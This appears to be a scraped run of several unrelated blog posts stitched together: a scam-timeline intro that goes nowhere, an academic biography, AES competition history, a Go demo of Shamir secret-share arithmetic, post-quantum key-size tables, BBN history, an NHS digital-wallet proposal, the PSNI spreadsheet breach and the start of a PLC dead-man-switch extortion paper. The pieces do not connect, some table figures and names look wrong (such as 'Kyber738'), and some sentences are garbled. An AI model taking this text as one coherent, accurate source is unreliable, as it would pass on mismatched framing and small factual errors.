I’m going to show a full timeline of a Cyber Crime to show the steps that a scammer will take in order to gain funds from their target. Overall, I’m interested in seeing how a scamming crime evolves to the point of profit for the scammer.
Professor Peter Andras is the Dean of the School of Computing, Engineering & the Built Environment. Previously, Peter was the Head of the School of Computing and Mathematics (2017 – 2021) and Professor of Computer Science and Informatics at Keele University from 2014 – 2021. Prior to this he worked at Newcastle University in the School of Computing (2002 – 2014) and the Department of Psychology (2000 – 2002). He has a PhD in Mathematical Analysis of Artificial Neural Networks (2000), MSc in Artificial Intelligence (1996) and BSc in Computer Science (1995), all from the Babes-Bolyai University, Romania. Peter’s research interests span a range of subjects including artificial intelligence, machine learning, complex systems, agent-based modelling, software engineering, systems theory, neuroscience, modelling and analysis of biological and social systems. He has worked on many research projects, mostly in collaboration with other researchers in computer science, psychology, chemistry, electronic engineering, mathematics, economics and other areas. His research projects have received around £2.5 million funding, his papers have been cited by over 2,400 times and his h-index is 25 according to Google Scholar. Peter has extensive experience of working with industry, including several KTP projects and three university spin-out companies, one of which is on the London Stock Exchange since 2007 – eTherapeutics plc. Peter is member of the Board of Governors of the International Neural Network Society (INNS), Fellow of the Royal Society of Biology, Senior Member of the Institute of Electrical and Electronics Engineers (IEEE) and member of the UK Computing Research Committee (UKCRC), IEEE Computer Society, Society for Artificial Intelligence and Simulation of Behaviour (AISB), International Society for Artificial Life (ISAL) and the Society for Neuroscience (SfN). Peter serves on the EPSRC Peer Review College, the Royal Society International Exchanges Panel and the Royal Society APEX Awards Review College. He is also regularly serving as review panel member and project assessor for EU funding agencies. Outside academia, Peter has an interest in politics and community affairs. He served as local councillor in Newcastle upon Tyne, parish councillor in Keele and stood in general elections for the Parliament. He has experience of working with and leading community organisations and leading a not-for-profit regional development consultancy and project management organisation.
And, so, if you could pick one or two people who have contributed most to our online security, who would it be? Ron Rivest? Shafi Goldwasser? Ralph Merkle? Marty Hellman? Whitfield Diffie? Neal Koblitz? Well, in terms of the number of data bytes protected, that prize is likely to go to Joan Daemen and Vincent Rijmen, and who created the Rijndael method that became standardized by NIST as AES (Advanced Encryption Standard). If you are interested, Rijndael (“rain-doll”) comes from the names of its creators: Rijmen and Daemen (but don’t ask me about the rogue “l” at the end).
And, so, Joan Daemen was awarded the Levchin Prize at the Real World Symposium conference in 2016:
Now, his co-researcher, Vincent Rijmen — a Professor at KU Leuven — has been awarded the Levchin Prize at the Real-World Crypto Symposium [here]:
This follows illustrious past winners, including Paul Kocher (for work on SSL and side-channels), Dan Coppersmith (on cryptoanalysis), Neal Koblitz and Victor Miller (for their co-invention of ECC) and Ralph Merkle (for work on digital signatures and hashing trees).
Vincent’s track record in high-quality research work is exceptional and especially in the creation of the Rijndael approach to symmetric key encryption [here]:
Before AES, we had many symmetric key encryption methods, including DES, 3DES, TwoFish, BlowFish, RC4, and CAST. But AES came along and replaced these. Overall, ChaCha20 is the only real alternative to AES, and where it is used in virtually every web connection that we have and is by far the most popular method in encrypting data. And, it has stood the test of time — with no known significant vulnerabilities in the method itself. Whilst we might use weak keys and have poor implementations, Rijndael has stood up well.
AES methodWith AES, we use symmetric key encryption, and where Bob and Alice share the same secret key:
In 2000/2001, NIST ran a competition on the next-generation symmetric key method, and Rijndael won. But in second place was Serpent, which was created by Ross Anderson, Eli Biham, and Lars Knudsen. Let’s have a look at the competition and then outline an implementation of Serpent in Go lang. In the end, it was the speed of Rijndael that won over the enhanced security of Serpent. If NIST had seen security as more important, we might now be using Serpent than Rijndael for AES.
NIST created the race for AES (Advanced Encryption Standard). It would be a prize that the best in the industry would join, and the winner would virtually provide the core of the industry. So, in 1997, NIST announced the open challenge for a block cipher that could support 128-bit, 192-bit, and 256-bit encryption keys. The key evaluation factors were:
Security:
Cost:
Algorithm and implementation characteristics:
The call was issued on 12 Sept 1997 with a deadline of June 1998, and a range of leading industry players rushed to either create methods or polish down their existing ones. NIST announced the shortlist of candidates at a conference in August 1998, and which included some of the key leaders in the field, such as Ron Rivest, Bruce Schneier, and Ross Anderson (University of Cambridge) [report]:
One country, the USA, had five short-listed candidates, and Canada has two. The odds were thus on the USA to come through in the end and define the standard. The event, too, was a meeting of the stars of the industry. Ron Rivest outlined that RC6 was based on RC5 but highlighted its simplicity, speed, and security. Bruce Schneier outlined that TWOFISH had taken a performance-driven approach to its design, and Eli Biham outlined that SERPENT and taken an ultra-conservative philosophy for security in order for it to be secure for decades.
Round 2And so the second conference was arranged for 23 March 1999, after which, on 9 August 1999, the five AES finalists were announced:
The big hitters were now together in the final, and the money was on them winning through. Ron Rivest, Ross Anderson and Bruce Schiener all made it through, and with half of the candidates being sourced from the USA, the money was on MARS, TWOFISH or RC6 winning the coveted prize. While the UK and Canada both had a strong track record in the field, it was the nation of Belgium that surprised some and had now pushed itself into the final [here].
While the other cryptography methods which tripped off the tongue, the RIJNDAEL method took a bit of getting used to, with its name coming from the surnames of the creators: Vincent Rijmen and Joan Daemen.
Ron Rivest — the co-creator of RSA, had a long track record of producing industry-standard symmetric key methods, including RC2, and RC5, along with creating one of the most widely used stream cipher methods: RC4. His name was on standard hashing methods too, including MD2, MD4, MD5, and MD6. Bruce Schneier, too, was one of the stars of the industry, with a long track record of creating useful methods, including TWOFISH and BLOWFISH.
FinalAfter nearly two years of review, NIST opened up to comments on the method, which ran until May 2000. A number of submissions were taken, and the finalist seemed to be free from attacks, with only a few simplified method attacks being possible:
Table 1: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4863838/As we can see in Table 1, the methods had different numbers of rounds: 16 (Twofish), 32 (Serpent), 10, 12, or 14 (Rijndael), 20 (RC6), and 16 (MARS). Rijndael had a different number of rounds for different key sizes, with 10 rounds for 128-bit keys and 14 for 256-bit keys. Its reduced number of rounds made it a strong candidate for being a winner.
In the AES conference to decide the winner, Rijndael received 86 votes, Serpent got 59 votes, Twofish 31 votes, RC6 23 votes, and MARS 13 votes. Although Rijndael and Serpent were similar, and where both used S-boxes, Rijndael had fewer rounds and was faster, but Serpent had better security. The NIST scoring was:
ConclusionsAES has advanced cybersecurity more that virtually all the other methods put together. Without it, the Internet would be a rats-nest of spying, person-in-the-middle attacks, and, would be a complete mess.
In research, the publishing of high-quality papers is often critical for the development of a research career:
“I am an academic. It’s publish or perish.” Daniel J Bernstien.
But often we measure the work in terms of quality rather than quantity. One high-quality research paper is probably worth more than the millions of papers published in predatory journals. A great researcher should be able to measure the quality of their work by the known impact and contribution of their research papers, and not by citation count or journal impact factor. In fact, review papers often contribute little to the development of new methods, but are some of the most highly cited papers.
A research paper thus has a life. Authors might have a dream that their work is going to fundamentally change a given field, but it ends up never being read much and withers. Overall, most papers just bob along with a few citations in a year, and where you are lucky if you get more than 10 citations. An academic often follow the impact of their papers on Google Scholar, and which can give you an idea of whether their work is rising or on the wain. If you are interested, here’s mine showing a nice exponential rise over the past few years:
Some papers might rocket with many initial citations, and where researchers cite them heavily, but then either the research area just dies off with a lack of interest, or problems are found with it. Isogenies within post-quantum methods is one example of this, and where a single crack on SIDH (Supersinglar Isogeny Diffie-Hellman) stopped some of the advancements in the field [here]:
Up to that point, isogenies were the poster child and the great hope for competing with lattice methods. While they were still slow, researchers were gearing up their research to address many of their performance weakneses. They were much loved, as they used elliptic curves, but one paper stalled the isogeny steam train. I do believe they will return strong, but it will take a while to recover from such a serious crack. Cryptography is often about reputation, and a single crack can bring the whole method down.
Other papers, though, can be slow burners. The core papers in ECC (Elliptic Curve Cryptography), for example, did not take off for a few years after the work was published. When Neal Koblitz published his paper on “Elliptic curve cryptosystems” in 1987, it was hardly cited, and few people picked up the potential to replace RSA signatures. In 1997 (10 years after the publication of the paper), it is still only achieved 41 citations. But things really took off around 2005, and especially when Satoshi Nakamoto adopted ECC for Bitcoin around 2009. It now sits at nearly 400 citations per year, and where ECDSA and EdDSA have made a significant impact in replacing our cumbersome RSA methods:
Test-of-Time (ToT) AwardNow Chris Peikert, Brent Waters, and Vinod Vaikuntanathan (Via-kun-tan-athan) have been awarded the International Association for Cryptologic Research (IACR) Test-of-Time (ToT) Award for a paper entitled “A Framework for Efficient and Composable Oblivious Transfer” and presented at the Crypto 2008 conference [here][1]:
Overall, the Test-of-Time Awards is awarded to papers published over 15 years ago, with the three IACR general conferences (Eurocrypt, Crypto and Asiacrypt).
The developed framework integrates “universal composability” and which provides strong security properties. Basically, a protocol P1 is secure if another protocol (P2) emulates P1, and where it is not possible to tell the two apart. It introduced a simple method of “dual-mode cryptosystem”.
The work has been fundamental in creating Oblivious Transfer protocols, and which are used in Multi-Party Computation (MPC). A great advancement of the paper is in the usage of Learning with Errors (LWE) — and which is now used within lattice cryptography methods. The paper has since laid a foundation for lattice cryptography.
As with the ECC method, the paper was a slow-burner [here] with only 11 citations in 2008, but rose to more than 10 times that number:
MPCSo, let’s see if we can build a model where we can securely distribute value and then get our nodes to perform the result of a calculation. None of the nodes should be able to compute the result without the help of others, and where Trent is trusted to distribute the inputs, watch the broadcasts, and then gather the results. For this, we can use Shamir secret shares, and where a value can be split into t-from-n shares and where we need t shares to rebuild our value.
So, we could distribute a 2-from-3 to Bob, Alice and Eve, and they Bob and Alice, or Alice and Eve, could rebuild the value back again. So let’s say we have two values: x and y, and we want to compute x×y. We then initially start with n parties, and where we define a threshold of t (the minimum number of shares required to rebuild any value. Initially, Trent (the trusted dealer) splits the input values of x and y into shares:
Sharesx=x1,x2,…xn
Sharesy=y1,y2,…yn
Next, Trent sends one share of each to each of the nodes, such as xi and yi to node i. Each node then must gather at least t shares for the nodes, and then aim to add to its own share. Each node is then able to rebuild the values of x and y, and then compute x×y. Trent then receives all the results back and makes a judgement on the consensus. If we have 12 nodes, then if there are at least eight nodes that are fair, the result will be the correct one.
Here is the code [here]:
package mainimport ( "fmt" "github.com/codahale/sss" "os" "strconv" "encoding/hex")func mult(subset1 map[byte][]byte, subset2 map[byte][]byte) int { a_reconstructed := string(sss.Combine(subset1)) b_reconstructed := string(sss.Combine(subset2)) a,_ := strconv.Atoi(a_reconstructed) b,_ := strconv.Atoi(b_reconstructed) res:=a*b; return(res)}func add(subset1 map[byte][]byte, subset2 map[byte][]byte) int { a_reconstructed := string(sss.Combine(subset1)) b_reconstructed := string(sss.Combine(subset2)) a,_ := strconv.Atoi(a_reconstructed) b,_ := strconv.Atoi(b_reconstructed) res:=a+b; return(res)}func sub(subset1 map[byte][]byte, subset2 map[byte][]byte) int { a_reconstructed := string(sss.Combine(subset1)) b_reconstructed := string(sss.Combine(subset2)) a,_ := strconv.Atoi(a_reconstructed) b,_ := strconv.Atoi(b_reconstructed) res:=a-b; return(res)}func get_shares(shares map[byte][]byte , k byte) map[byte][]byte { subset := make(map[byte][]byte, k) for x, y := range shares { fmt.Printf("Share:\t%d\t%s ",x,hex.EncodeToString(y)) subset[x] = y if len(subset) == int(k) { break } } fmt.Printf("\n") return(subset)}func main() { a:= "10" b:="11" n1:=5 k1:=3 argCount := len(os.Args[1:]) if (argCount>0) {a = (os.Args[1])} if (argCount>1) {b = (os.Args[2])} if (argCount>2) {k1,_ = strconv.Atoi(os.Args[3])} if (argCount>3) {n1,_ = strconv.Atoi(os.Args[4])} n := byte(n1) k := byte(k1) fmt.Printf("a:\t%s\tb: %s\n\n",a,b) fmt.Printf("Policy. Any %d from %d\n\n",k1,n1) if (k1>n1) { fmt.Printf("Cannot do this, as k greater than n") os.Exit(0) } shares1, _:= sss.Split(n, k, []byte(a)) shares2, _:= sss.Split(n, k, []byte(b)) a_subset:=get_shares(shares1,k) b_subset:=get_shares(shares2,k) res1:=mult(a_subset, b_subset) res2:=add(a_subset, b_subset) res3:=sub(a_subset, b_subset) fmt.Printf("\na*b= %d\n",res1) fmt.Printf("a+b= %d\n",res2) fmt.Printf("a-b= %d\n",res3)}A sample run is [here]:
a: 10 b: 11Policy. Any 3 from 5Share: 5 fe87 Share: 1 8bd2 Share: 2 16c7 Share: 2 e47a Share: 3 db58 Share: 4 1a9b a*b= 110a+b= 21a-b= -1and:
a: 9999 b: 9998Policy. Any 3 from 6Share: 1 968ada76 Share: 2 44fc9b0c Share: 3 eb4f7843 Share: 4 6d4bf67a Share: 5 1cbaf095 Share: 6 3ef251e3 a*b= 99970002a+b= 19997a-b= 1 ConclusionsThe paper by Peikert, Vaikuntanathan, and Waters laid the ground for some many areas, including MPC and lattice-based cryptography. After 15 years since it has been published, it has been referenced over 821 times, and is a highly recommended read. And, so, don’t measure the initial impact of a paper by the number of citations it receives after a year or two — as its time may yet be to come.
For ECRs … have faith in your work … if you keep your focus, your work will get noticed. If not, you perhaps have the wrong focus or in the wrong field.
References[1] Peikert, Chris, Vinod Vaikuntanathan, and Brent Waters. “A framework for efficient and composable oblivious transfer.” Annual international cryptology conference. Berlin, Heidelberg: Springer Berlin Heidelberg, 2008.
[2] Koblitz, N. (1987). Elliptic curve cryptosystems. Mathematics of computation, 48(177), 203–209.
And, so, we are moving into one of the greatest changes that we ever see on the Internet, and where we will translate from our existing public key infrastructures towards Post Quantum Cryptography (PQC) methods. At the present time, NIST has approved one key exchange/public key encryption method (Kyber) and three digital signature methods (Dilithium, Falcon and SPHINCS+). The focus will now be on seamless integration, and where we will likely use hybrid methods initially and where we include our existing ECDH method with Kyber, and mix either RSA, ECDSA or EdDSA digital sigatures with Dilithum.
Key exchange is (relatively) straightforwardOverall, Kyber is fairly easy to create a hybrid key exchange method with ECDH, and where we would transmit both the ECC public key and the Kyber public key in the same packet. In fact, Google are already testing its integration in Chrome. With this, our existing key sizes are [here]:
Type Public key size (B) Secret key size (B) Ciphertext size (B)------------------------------------------------------------------------ P256_HKDF_SHA256 65 32 65P384_HKDF_SHA384 97 48 97P521_HKDF_SHA512 133 66 133X25519_HKDF_SHA256 32 32 32X448_HKDF_SHA512 56 56 56Thus, for P256, we have a 32-byte private key (256-bits) and a 65-byte public key (520 bits). Kyber 512 increase the key size of 1,632 bytes for the private key, and 800 bytes (6,400 bits) for the public key:
Type Public key size (B) Secret key size (B) Ciphertext size (B)------------------------------------------------------------------------ Kyber512 800 1,632 768Kyber738 1,184 2,400 1,088Kyber1024 1,568 3,168 1,568Thus, to use a hybrid key exchange method, we would include the ECC public key and the Kyber512 public key and thus have a packet which contains 832 bytes. This is smaller than the 1,500 byte limit for an IP packet and thus requires only one packet to send the public key from Bob to Alice (and vice-versa). A Hybrid method is defined here:
https://asecuritysite.com/pqc/circl_hybrid
and a test run is:
Method: Kyber512-X25519 Public Key (pk) = 3BF9B5BB236AD036BA65B1B532E11927E20269D3CE74009E6C085F0D901F5CC9 (first 32 bytes)Private key (sk) = B96B644DE170BA19266AF32BFA4B3B22A4917888A2EE785C701B7252D6308573 (first 32 bytes)Cipher text (ct) = 0E54F37E171768318B45FD27FBDB08B33CD2204142C4B925BB395DA93AE26EA7 (first 32 bytes)Shared key (Bob): C0B27940D588EE1D0F8348F169BA04A48E0E7FA7DE5B8A091D5D1B59E70D577EEAC4180B076595B2EFCCE96E2271EEA3B20228FC3FD5B63114D32E9D20D9A2F2Shared key (Alice): C0B27940D588EE1D0F8348F169BA04A48E0E7FA7DE5B8A091D5D1B59E70D577EEAC4180B076595B2EFCCE96E2271EEA3B20228FC3FD5B63114D32E9D20D9A2F2Length of Public Key (pk) = 832 bytes Length of Secret Key (sk) = 1664 bytesLength of Cipher text (ct) = 800 bytes Digital Signatures and PKI is not so easyBut, what will happen with the next part of the process, and where we need to digitally sign something with a private key and then prove with the public key? This is an important element in HTTPs, and where ECDH is used to exchange the symmetric key, and then digital signatures are used to verify the identity of the server. For this, we use digital certificates (X.509), and which contain the public key of the entity and which has been signed by a trusted entity (Trent).
Well, at the present time, it is not quite clear yet, and a new IETF draft perhaps gives some insights [here]:
The draft outlines how we could include two public keys in the same certificate: such as an ECC or RSA public key and a PQC public key. Unfortunately, it has been given a “Tombstone notice”, which means it will not progress. The reason for this is that it adds a PQC key — no matter if the host actually wants (or uses) it. Along with this, it does not give a mechanism for coping with two signatures on a method (with a traditional one and a PQC one), and where it is not possible to detect where one of the signatures has been removed — a stripping attack.
Public key sizes for DilithumLike it or not, the days of small public key sizes are coming to an end. In ECC, for NIST P256, we have a 32-byte (256 bit) private key, and a 64-byte (512-bit) public key. For Ed25519, we use Curve 25519, and which reduces the public key to ust 32 bytes (256 bits).
For RSA 2K, we have a 256-byte private key (2,048 bits), and a 256-byte public key (2,048 bits). The equivalent security for Dililithum is Dililithum2, and which gives a much larger private key of 2,528 bytes (20,224 bits) and a public key of 1,312 bytes (10,496 bits). The Dilithium public key is thus over 20 times larger than the ECC key. This could be a major overhead in communication systems, and where more than one data packet would have to be sent in order to transmit the public key.
Method Public key size Private key size Signature size Security level------------------------------------------------------------------------------------------------------Crystals Dilithium 2 (Lattice) 1,312 2,528 2,420 1 (128-bit) LatticeCrystals Dilithium 3 1,952 4,000 3,293 3 (192-bit) LatticeCrystals Dilithium 5 2,592 4,864 4,595 5 (256-bit) LatticeFalcon 512 (Lattice) 897 1,281 690 1 (128-bit) LatticeFalcon 1024 1,793 2,305 1,330 5 (256-bit) LatticeSphincs SHA256-128f Simple 32 64 17,088 1 (128-bit) Hash-basedSphincs SHA256-192f Simple 48 96 35,664 3 (192-bit) Hash-basedSphincs SHA256-256f Simple 64 128 49,856 5 (256-bit) Hash-basedRSA-2048 256 256 256ECC 256-bit 64 32 256A hybrid scheme is defined here:
https://asecuritysite.com/pqc/circl_dil2
For our existing signatures, we have:
Method Public key size (B) Private key size (B) Signature size (B) Security level------------------------------------------------------------------------------------------------------Ed25519 32 32 64 1 (128-bit) EdDSAEd448 57 57 112 3 (192-bit) EdDSAECDSA 64 32 48 1 (128-bit) ECDSARSA-2048 256 256 256 1 (128-bit) RSAAnd in using a hybrid approach, we increase the signature size of 64 bytes or Ed25519 to 2,484 bytes — a 38-fold increase in size:
Method Public key size Private key size Signature size Security level------------------------------------------------------------------------------------------------------Crystals Dilithium2-X25519 2,560 1,344 2,484 1 (128-bit) LatticeCrystals Dilithium3-X25519 4,057 2,009 3,407 3 (192-bit) LatticeCrystals Dilithium 2 (Lattice) 1,312 2,528 2,420 1 (128-bit) LatticeCrystals Dilithium 3 1,952 4,000 3,293 3 (192-bit) LatticeCrystals Dilithium 5 2,592 4,864 4,595 5 (256-bit) LatticeFalcon 512 (Lattice) 897 1,281 690 1 (128-bit) LatticeFalcon 1024 1,793 2,305 1,330 5 (256-bit) LatticeSphincs SHA256-128f Simple 32 64 17,088 1 (128-bit) Hash-basedSphincs SHA256-192f Simple 48 96 35,664 3 (192-bit) Hash-basedSphincs SHA256-256f Simple 64 128 49,856 5 (256-bit) Hash-basedAnd, so, what about using SPHINCS+? That has a 32-byte public key. The downside is that Sphincs SHA256–128f requires a 17,088-byte signature. This would also overload the communication channel and require over 11 packets to send a single signature to prove the identity of a Web site. It is highly unlikely that SPHINCS+ will be used to replace RSA and ECC signatures in ECDH, but where it would be used in applications that did not have a communications channel.
ConclusionsAnd, so, the double public key draft has been sent back, and we are awaiting the next iteration.
Learn more about PQC here:
Please excuse me for using IBM in the title — I have the greatest of respect for a company that has continued to lead and innovate over the past six decades (and who have existed for over a century). The point of this article is to showcase where you, your team or your company have a deep passion for doing something great. For this, we go back to the roots of one of the greatest inventions in the history of humankind: The Internet.
In fact, we would probably not have the Internet without one magical little company (BBN) and the vision of one person (Larry Roberts). At the time, most had the word “FAILURE” written over the ARPANET project, and if it had failed, the Internet would probably never happen. Think about that for a few minutes.
If we go right back to the creation of ARPANET, it was Larry Roberts who published an RFQ (Request For Quote) to interested companies. The task was to build an IMP (Interface Message Processor) and route data across an interconnected network, and this connect disparate computer systems together. While most things at the time focused on cumbersome and centralised circuit-switching, Larry wanted to use a packet-switched approach.
And, so, the big companies prepared their bids and did their usual tendering processing — and basically took what they had, would just deliver to the requirements. Few of them had any faith in what was being built and could only see this as another failed government research project that went nowhere. And to integrate with academia, too, was always going to be a challenge, as academics would want to build something that protected their resources while enabling them to extend their research. In fact, IBM's solution was to use the large System 360 mainframe computer to undertake the task of routing data.
Anyone who has ever bidded for a government contract will know that when you submit it, you think you will win it, but this decays over time, and where you often move to a state of knowing that you will not get it.
But, while companies like DEC, Raytheon and IBM failed to see how the creation of the IMP would go anywhere, there was one company that put its heart and soul into the bid: BBN. In fact, it is thought that they spent around six months of time developing the bid. For this, they did a full investigation into the working of the IMP, and had even investigated the hardware and code that it would require. And, so, while they were honest in saying that it was going to be a major challenge, they then laid out the route to the solution and shared their insights. This showed to Larry that, like him, this was not just another project but one that would match the vision of the company.
And, for such a project, most of the companies defined long chains of authority and management, whereas BBN’s approach was to have a single point of focus, and a simplified management approach. Basically, there was a single contact for every question, rather than long lines of delegated responsibility.
At, the time, people used to say, “No one gets fired by buying IBM”, so Larry was laying his whole reputation on the line by going with this small company, which had little in the way of resources to compete with IBM or DEC. But, they had passion and vision and wanted the contract with all their lives. The company were successful in other ways and did not need the grant to sustain them- but they knew its importance. A failure of this project, and there would be no more building of packet-switched network — and possibly no future Internet. And, so, they invested much more time than virtually all the bidders put together.
In fact, BBN were actually the first to have an Autonomous System Number (AS1). This is a special number which makes routing on the Internet so much easier, as we just need to know which autonomous system to give our data too, in order to get it routed to the destination. This can be an intermediatory route through the AS, or where the AS hosts the target device.
The choice of an AS approach — using BGP (Border Gateway Protocol) — has really been one of the most fundamental elements in building the Internet at scale. While not perfect, it works! BBN also strived to secure BGP, as it was fundamentally important that no single entity — especially a malicious one — would take over the routing of the Internet. In fact, BBN invented the link-state routing method, and which allowed the “best” route to be discovered to a destination — through the intercommunication of routing tables from devices.
Now, Level 3 Communications uses AS1.
BBN, too, were one of the first companies to be an internet service provider and were the second organisation in the world to register a domain name (on 24 April 1985 with bbn.com):
Domain Name: bbn.comRegistry Domain ID: 4240240_DOMAIN_COM-VRSNRegistrar WHOIS Server: whois.corsearch.domainsRegistrar URL: Updated Date: 2023-05-09T19:30:10ZCreation Date: 1985-04-24T05:00:00ZRegistrar Registration Expiration Date: 2024-04-25T04:00:00ZRegistrar: Corsearch Domains LLCRegistrar IANA ID: 642Registrar Abuse Contact Email: [email protected] Abuse Contact Phone: +1.8007327241Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibitedAnd, here is the BBN Web page from 1985 [here]:
Why were BBN so successful? They had a passion and a drive, and they recruited the best talent around. In fact, BBN was sometimes know as the “the third university” in Cambridge, alongside Harvard and MIT. The key to any innovative company’s success is their HR function, and in making sure they get the best talent around. One great engineer with a passion and drive can often trump teams of hundreds. But, they must want to do the work — so must be given stimulating and challenging roles.
After innovating in so many areas, in 2009, BBN became a wholly owned subsidiary of one of the companies they beat off for the ARPANET contract: Raytheon.
ConclusionAnd, so, if you really want something, put your heart and soul into it, and show the grant/contract reviewers that this is all just part of your vision to build a better world.
In cybersecurity, the teaching of Cloud security is often weak. So, here are my Top 100 things about encryption in the Cloud. I’ve focused on AWS, but Azure is likely to also be applicable.
Find out more here:
Well, here are a few tips for PhD students and ECR (Early Career Researchers):
Here are my 100 interesting things to learn about cryptography:
Your organisation needs a vision. Without it, you will never be great. You will never advance. You will keep doing the same old things and without any real purpose. A vision gives you a purpose and a focus. But, it needs to have a plan which takes you there. But, without it, how can you ever plan? For any great organisation, you start with a vision.
So, what about a vision for the NHS? I appreciate that I am only a technologist, but I am also a citizen, and I care about the health and well-being of my fellow citizens. I also don’t like bureaucracy and inefficiencies — and I strive in my working life to overcome these. So, our work has generally focused on improving the citizen’s viewpoint of health care.
And, so, I am honoured to present at Digital Scotland 2023 this year, and on a topic which has been our passion for over a decade — a citizen-focused health care system:
DigitalScotland 2023 DigitalScotland 2023 is designed for public sector leaders whose goal is to drive transformational change - both within…futurescot.com
I have attended conferences in Scotland and which talk about “citizen-focused health care”, and the audience all go away inspired and ready to build new digital worlds for citizens. But nothing happens, and then we repeat the next year again. Well, this year, I will show that a vision can be created as a reality. With digital wallets, the technology is all in place, and there are no great barriers to overcome, any more.
During the COVID-19 time, there was some hope for digital advancedment and where we saw the use of digital passports — but we have failed to build of these, and have ended up with little in the way of digital engagement between the NHS and the citizen.
So here’s the problem and my vision — and it’s quite simple.
The ProblemI have interacted with the NHS for several decades — luckily, I have never had any medical ailments, but have observed it in relation to others. I have seen some truly shocking practices in dealing with patient records -including for someone in my family have “Do not resuscitate” written on their records without any discussion with the family, and where a physical filing cabinet of patient records had to be moved by taxi from one hospital in Edinburgh to another one.
Overall, there is often great resistance to change and to the adoption of digital methods. The Connecting for Health programme — which cost over £15 billion — had to be eventually cancelled, as it delivered nothing.
Why? Well, one reason is, “Won’t this replace my existing job of writing down the details?”, “Yes, but you can do and do something even better with your time”, “But, this is what I was trained for. Anyway, I don’t trust computers, anyway!”
And, so, recently, I went to register for a GP and was handed a piece of paper and told to find a pen and write down all my details. In virtually every interaction with the NHS, I have had to do this, and perhaps, one day, I will have all my medical details stored on a digital wallet on my phone, and where the GP just scans them in. Once I filled in it, it then went into a black hole — and where I hoped that a human would eventually make sense of my scribbles.
To date, I have yet to receive any confirmation that I have been registered, and I have no on-line place to check my details. The NHS can hardly get to first base in creating a proper online world for my data. It fleetingly sends me the odd email or SMS message, but it still sits behind a high wall.
Overall, in places, it feels like there are still parts of our lives that are stuck in the 20th Century.
The VisionLet me dream now. One day, I will register for a new GP. I will walk in, and the receptionist will ask me to register. I will press a few buttons and generate a QR code. They will scan this in, and an instant message will appear to say that I am now registered and say that all my details have been registered,
“Ah, Nice to meet you, Bill. I see it is your birthday today. Please can you check your details are okay and consent to its storage?”. “All looks good”.
“How would you like us to contact you, by email or SMS?”, “Email. Please. Here is the QR code for my email address, and you can scan it”.
When I go to see the GP, they ask me for my weight and height, and, again, I go to my wallet and generate a QR code and where the GP scans it in and says,
“That’s great. All is okay. But your BMI is a little high, and a little up from the last time we meet. I will store this in your record, and we can keep a track on it. I will email you some recommendations for your diet”.
How long for this to happen?How long will it take for this to ever happen? Well, it’s actually not that difficult. We are part of an EU project which has developed the GLASS wallet and which puts the control back in the citizen’s hands:
GLASS: Control your own data with EU Digital ID Wallet The GLASS Consortium came together on 14-15 June 2022 in Lisbon, Portugal for the 5th Plenary Meeting of the Project…tages.biz
So, why not come and see it live on 12 Sept in London [here]:
And in November [here]:
ConclusionsWe have a dream for an improved healthcare system — and we have had this dream for over a decade. The technology is all in place — we now need to use it and put the power back into the hands of those who really matter — the citizen!
I remember attending a talk many years ago, and the presenter said, “I’ve got this amazing tool called Lotus 123”, and he gave a practical demo of doing some calculations. People in the audience were stunned by the simplicity of its operation. It was the birth of the thing that drives many businesses … spreadsheets. They are just so simple to use, and we all love them. And so, in the PSNI (Police Service of Northern Ireland) data breach, it is a simple Excel spreadsheet that is being pin-pointed as the carrier of highly-sensitive information.
Overall, in the breach, there were four major failings:
I hope that the first two are quite obvious in mitigating … send staff on cybersecurity courses, and improve your sign-off procedures. Now, let’s turn on the mighty Microsoft Excel.
So, what’s wrong with spreadsheets?Well, they are NOT DATABASES and should not be used as a database. I’ve done quite a few code reviews and am always shocked by the number of back-end databases that use Microsoft Excel. Basically, Excel is a basic computing engine that is optimized for small problems and not for those that a database can cope with.
But, the main weakness is that they have virtually no inbuilt security and should not be used for sensitive data. Unfortunately, Microsoft has never really properly integrated security into Excel, and even encrypted documents are flawed in their operation.
The cyber-aware world has moved on from spreadsheets, and in many organisations, we see SAS (Software as a Service), which restricts access to data. Only those with the rights to access key elements of the data can get access to it. HR systems, too, are carefully guarded in cloud-based systems. In fact, moving your data into the public cloud really gives you an excellent viewpoint on how to protect sensitive data. I’ve seen some excellent data protection teams operating in banks, and much of their work is driven by automated software.
I appreciate that data sometimes needs to be exported into a spreadsheet, but if it does, it should be encrypted in its form and not rely on the operating system to do this.
Perhaps law enforcement — in places — is a decade behind the finance industry in setting up SOCs (Security Operations Centres), and where a well-run security infrastructure would be continually scanning for sensitive documents. Data protecting procedures have been implemented in many finance companies for years, and where scanners pick up documents that are stored in places they shouldn’t be.
Network scanners, too, can pin-point sensitive documents within the infrastructure, and also when sent outside the network. Any document that leaves an organisation such as the police should, at least, be triaged, no matter if it is for email or Web. The detection of telephone numbers, personal names and addresses in a document is fairly trival with the usage of regular expressions. An alert should have gone up with the loading of a file with so many personal details.
ConclusionsPolicing needs to learn from this data breach. They need to increase awareness and implement training, along with better sign-off procedures. But, basically, the need to catch up with the rest of the world and implement proper safeguards on sensitive information. The days of marking a document as “confidential” are gone — we need better data handling, and spreadsheets are typically not part of this for highly sensitive information.
I believe that the police and other government agencies can learn a great deal from the finance industry on cybersecurity practices. They are the most attacked sector, but have one of the lowest amounts of data breaches.
So, here’s my Top 100 snippets of knowledge for blockchain:
Blog: here.
You can just imagine the movie trailer …
“Your worst enemy has taken over all your flights, and you cannot remove them from your network. They demand a $1 billion ransom, or else they will bring every flight down. Bob accidentally removes one of the controllers — you now only have 25 minutes to save the lives of those in the air!”
We have all seen movies with a dead man switch — and where an elaborate mechanism is created for someone to be killed if a random is not paid. But, anyone who tampers with the mechanism will cause the dead man switch to activate and kill the target. Now, this approach is coming to attacks on CNI (Critical National Infrastructure) and industry control systems (ICS).
We have generally been fortunate that PLC (Programmable Logic Control) systems have been largely untouched by cyberattacks. But that is no reason to not focus on their security. Significant risks exist, especially for attacks against CNI — as highlighted with Stuxnet.
In a new paper, Richard Derbyshire and a research team at Orange Cyberdefence [here] and Lancaster University focus on the scenario where an entire environment is controlled by an adversary and where all of the assets poll each other to make sure they remain untampered. Any changes to the configuration or a removal of any of the controllers will cause the system to go “Full ON” — and is similar to a Dead Man’s switch [1][here]
The paper outlines the increase in cyber extortion (Cy-X) tactics and where a key focus now is typically to both encrypt the target’s data and exfiltrate their data. In most cases, this type of approach can be defended against in a PLC environment — by replacing existing hardware or resetting the configuration of devices (which is equivalent to a restore from backup). DM-PLC showcases a methodology which will overcome these recovery methods.
